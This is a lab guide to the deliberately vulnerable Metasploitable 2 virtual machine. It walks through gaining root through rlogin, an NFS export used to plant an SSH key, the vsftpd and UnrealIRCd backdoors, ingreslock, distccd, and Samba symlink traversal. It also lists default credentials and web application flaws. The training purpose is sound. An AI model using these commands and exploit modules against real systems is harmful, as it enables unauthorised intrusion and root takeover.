The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms. By default, Metasploitable's network interfaces are bound to the NAT and Host-only network adapters, and the image should never be exposed to a hostile network. (Note: A video tutorial on installing Metasploitable 2 is available here.)
This document outlines many of the security flaws in the Metasploitable 2 image. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. This document will continue to expand over time as many of the less obvious flaws with this platform are detailed.
After the virtual machine boots, login to console with username
msfadmin and password
msfadmin. From the shell, run the
ifconfig command to identify the IP address.
msfadmin@metasploitable:~$ ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1 inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. The following command line will scan all TCP ports on the Metasploitable 2 instance:
root@ubuntu:~# nmap -p0-65535 192.168.99.131 Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT Nmap scan report for 192.168.99.131 Host is up (0.00028s latency). Not shown: 65506 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 3632/tcp open distccd 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 6697/tcp open unknown 8009/tcp open ajp13 8180/tcp open unknown 8787/tcp open unknown 39292/tcp open unknown 43729/tcp open unknown 44813/tcp open unknown 55852/tcp open unknown MAC Address: 00:0C:29:9A:52:C1 (VMware)
Nearly every one of these listening services provides a remote entry point into the system. In the next section, we will walk through some of these vectors.
TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH.
# rlogin -l root 192.168.99.131 Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 root@metasploitable:~#
This is about as easy as it gets. The next service we should look at is the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. The example below using
rpcinfo to identify NFS and
showmount -e to determine that the "/" share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.
root@ubuntu:~# rpcinfo -p 192.168.99.131 program vers proto port service 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100024 1 udp 53318 status 100024 1 tcp 43729 status 100003 2 udp 2049 nfs 100003 3 udp 2049 nfs 100003 4 udp 2049 nfs 100021 1 udp 46696 nlockmgr 100021 3 udp 46696 nlockmgr 100021 4 udp 46696 nlockmgr 100003 2 tcp 2049 nfs 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100021 1 tcp 55852 nlockmgr 100021 3 tcp 55852 nlockmgr 100021 4 tcp 55852 nlockmgr 100005 1 udp 34887 mountd 100005 1 tcp 39292 mountd 100005 2 udp 34887 mountd 100005 2 tcp 39292 mountd 100005 3 udp 34887 mountd 100005 3 tcp 39292 mountd root@ubuntu:~# showmount -e 192.168.99.131 Export list for 192.168.99.131: / *
Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file:
root@ubuntu:~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. root@ubuntu:~# mkdir /tmp/r00t root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/ root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys root@ubuntu:~# umount /tmp/r00t root@ubuntu:~# ssh email@example.com Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 root@metasploitable:~#
On port 21, Metasploitable2 runs vsftpd, a popular FTP server. This particular version contains a backdoor that was slipped into the source code by an unknown intruder. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. If a username is sent that ends in the sequence
:) [ a happy face ], the backdoored version will open a listening shell on port 6200. We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it:
root@ubuntu:~# telnet 192.168.99.131 21 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. 220 (vsFTPd 2.3.4) user backdoored:) 331 Please specify the password. pass invalid ^] telnet> quit Connection closed. root@ubuntu:~# telnet 192.168.99.131 6200 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. id; uid=0(root) gid=0(root)
On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below.
msfconsole msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131 msf exploit(unreal_ircd_3281_backdoor) > exploit [*] Started reverse double handler [*] Connected to 192.168.99.131:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo 8bMUYsfmGvOLHBxe; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "8bMUYsfmGvOLHBxe\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700 id uid=0(root) gid=0(root)
Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. Accessing it is easy:
root@ubuntu:~# telnet 192.168.99.131 1524 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. root@metasploitable:/# id uid=0(root) gid=0(root) groups=0(root)
In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. The first of which installed on Metasploitable2 is distccd. This program makes it easy to scale large compiler jobs across a farm of like-configured systems. The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below.
msfconsole msf > use exploit/unix/misc/distcc_exec msf exploit(distcc_exec) > set RHOST 192.168.99.131 msf exploit(distcc_exec) > exploit [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo uk3UdiwLUq0LX3Bi; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "uk3UdiwLUq0LX3Bi\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700 id uid=1(daemon) gid=1(daemon) groups=1(daemon)
Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share.
root@ubuntu:~# smbclient -L //192.168.99.131 Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) root@ubuntu:~# msfconsole msf > use auxiliary/admin/smb/samba_symlink_traversal msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131 msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp msf auxiliary(samba_symlink_traversal) > exploit [*] Connecting to the server... [*] Trying to mount writeable share 'tmp'... [*] Trying to link 'rootfs' to the root filesystem... [*] Now access the following share to browse the root filesystem: [*] \\192.168.99.131\tmp\rootfs\ msf auxiliary(samba_symlink_traversal) > exit root@ubuntu:~# smbclient //192.168.99.131/tmp Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] smb: \> cd rootfs smb: \rootfs\> cd etc smb: \rootfs\etc\> more passwd getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh [..]
In additional to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts. The primary administrative user
msfadmin has a password matching the username. By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts. At a minimum, the following weak system accounts are configured on the system.
In addition to these system-level accounts, the PostgreSQL service can be accessed with username
postgres and password
postgres, while the MySQL service is open to username
root with an empty password. The VNC service provides remote desktop access using the password
Metasploitable 2 has deliberately vulnerable web applications pre-installed. The web server starts automatically when Metasploitable 2 is booted. To access the web applications, open a web browser and enter the URL
<IP> is the IP address of Metasploitable 2. One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only". (Note: A video tutorial on installing Metasploitable 2 is available here.)
In this example, Metasploitable 2 is running at IP 192.168.56.101. Browsing to http://192.168.56.101/ shows the web application home page.
192.168.56/24 is the default "host only" network in Virtual Box. IP address are assigned starting from "101". Depending on the order in which guest operating systems are started, the IP address of Metasploitable 2 will vary.
To access a particular web application, click on one of the links provided. Individual web applications may additionally be accessed by appending the application directory name onto
http://<IP> to create URL
http://<IP>/<Application Folder>/. For example, the Mutillidae application may be accessed (in this example) at address
http://192.168.56.101/mutillidae/. The applications are installed in Metasploitable 2 in the
/var/www directory. (Note: See a list with command
ls /var/www.) In the current version as of this writing, the applications are
- mutillidae (NOWASP Mutillidae 2.1.19)
- dvwa (Damn Vulnerable Web Application)
- tikiwiki (TWiki)
- dav (WebDav)
The Mutillidae web application (NOWASP (Mutillidae)) contains all of the vulnerabilities from the OWASP Top Ten plus a number of other vulnerabilities such as HTML-5 web storage, forms caching, and click-jacking. Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state.
Tutorials on using Mutillidae are available at the webpwnized YouTube Channel.
Enable hints in the application by click the "Toggle Hints" button on the menu bar:
The Mutillidae application contains at least the following vulnerabilities on these respective pages:
SQL Injection on blog entry
SQL Injection on logged in user name
Cross site scripting on blog entry
Cross site scripting on logged in user name
Log injection on logged in user name
XSS in the form title via logged in username
The show-hints cookie can be changed by user to enable hints even though they are not supposed to show in secure mode
System file compromise
Load any page from any site
XSS via referer HTTP header
JS Injection via referer HTTP header
XSS via user-agent string HTTP header
XSS via any GET, POST, or Cookie
XSS via any GET, POST, or Cookie
Contains unencrytped database credentials
Unvalidated Redirects and Forwards
Cross site scripting on the host/ip field
O/S Command injection on the host/ip field
This page writes to the log. SQLi and XSS on the log are possible
GET for POST is possible because only reading POSTed variables is not enforced.
Cross site scripting via the HTTP_USER_AGENT HTTP header.
XSS via logged in user name and signature
The Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1
DOM injection on the add-key error message because the key entered is output into the error message without being encoded
You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.
You can SQL injection the UID cookie value because it is used to do a lookup
You can change your rank to admin by altering the UID value
HTTP Response Splitting via the logged in user name because it is used to create an HTTP Header
This page is responsible for cache-control but fails to do so
This page allows the X-Powered-By HTTP header
There are secret pages that if browsed to will redirect user to the phpinfo.php page. This can be done via brute forcing
SQL injection and XSS via referer HTTP header
SQL injection and XSS via user-agent string
Authentication bypass SQL injection via the username field and password field
SQL injection via the username field and password field
XSS via username field
This page gives away the PHP server configuration
Application path disclosure
Platform path disclosure
Creates cookies but does not make them HTML only
Same as login.php. This is the action page.
Same as credits.php. This is the action page
SQL injection and XSS via the username, signature and password field
Contains directories that are supposed to be private
This page gives hints about how to discover the server configuration
Cascading style sheet injection and XSS via the color field
Denial of Service if you fill up the log
XSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields
XSS via the user agent string HTTP header
Loading of any arbitrary file including operating system files.
Loading of any arbitrary web page on the Interet or locally including the sites password files.
SQL injection to dump all usernames and passwords via the username field or the password field
XSS via any of the displayed fields. Inject the XSS on the register.php page.
XSS via the username field
GET for POST
XSS via the choice parameter
Cross site request forgery to force user choice
XSS via any of the displayed fields. They are input on the add to your blog page.
From the DVWA home page: "Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.".
DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App.
- Default username - admin
- Default password - password
Additionally, an ill-advised PHP information disclosure page can be found at
http://<IP>/phpinfo.php. In this example, the URL would be http://192.168.56.101/phpinfo.php. The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. For example, noting that the version of PHP disclosed in the screenshot is version 5.2.4, it may be possible that the system is vulnerable to CVE-2012-1823 and CVE-2012-2311 which affected PHP before 5.3.12 and 5.4.x before 5.4.2.
You can download Metasploitable 2 here.